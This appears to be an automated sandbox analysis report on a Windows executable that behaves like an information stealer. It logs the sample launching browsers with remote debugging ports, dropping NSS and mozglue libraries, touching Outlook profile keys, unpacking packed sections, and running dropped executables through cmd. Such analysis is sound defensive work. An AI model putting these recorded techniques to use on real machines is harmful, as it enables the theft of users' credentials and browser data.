Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2412,i,7409656468165010788,2301756924555516473,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEBFHCAKFB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIEBFHCAKFB.exe "C:\Users\user\DocumentsIEBFHCAKFB.exe"
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6444 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEBFHCAKFB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2168,i,15450045308724304407,3334776206142890789,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\DocumentsIEBFHCAKFB.exe "C:\Users\user\DocumentsIEBFHCAKFB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2412,i,7409656468165010788,2301756924555516473,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6444 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIEBFHCAKFB.exe "C:\Users\user\DocumentsIEBFHCAKFB.exe"
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1789952 > 1048576

Source: file.exe

Static PE information: Raw size of edrmxlxv is bigger than: 0x100000 < 0x19b200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;edrmxlxv:EW;uqkpdbcv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;edrmxlxv:EW;uqkpdbcv:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Unpacked PE file: 29.2.DocumentsIEBFHCAKFB.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwfrbimo:EW;auhgmisl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwfrbimo:EW;auhgmisl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 30.2.skotes.exe.e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwfrbimo:EW;auhgmisl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwfrbimo:EW;auhgmisl:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C973480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C973480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.29.dr	Static PE information: real checksum: 0x1cf784 should be: 0x1c9546
Source: file.exe	Static PE information: real checksum: 0x1c3b95 should be: 0x1c3dd7
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: real checksum: 0x1cf784 should be: 0x1c9546
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cf784 should be: 0x1c9546

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: edrmxlxv
Source: file.exe	Static PE information: section name: uqkpdbcv
Source: file.exe	Static PE information: section name: .taggant
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name:
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name:
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: cwfrbimo
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: auhgmisl
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: cwfrbimo
Source: random[1].exe.0.dr	Static PE information: section name: auhgmisl
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: cwfrbimo
Source: skotes.exe.29.dr	Static PE information: section name: auhgmisl
Source: skotes.exe.29.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9AB536 push ecx; ret

0_2_6C9AB549

Source: file.exe	Static PE information: section name: edrmxlxv entropy: 7.954130271885478
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: entropy: 7.985043158809772
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: cwfrbimo entropy: 7.953079567974156
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.985043158809772
Source: random[1].exe.0.dr	Static PE information: section name: cwfrbimo entropy: 7.953079567974156
Source: skotes.exe.29.dr	Static PE information: section name: entropy: 7.985043158809772
Source: skotes.exe.29.dr	Static PE information: section name: cwfrbimo entropy: 7.953079567974156

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIEBFHCAKFB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
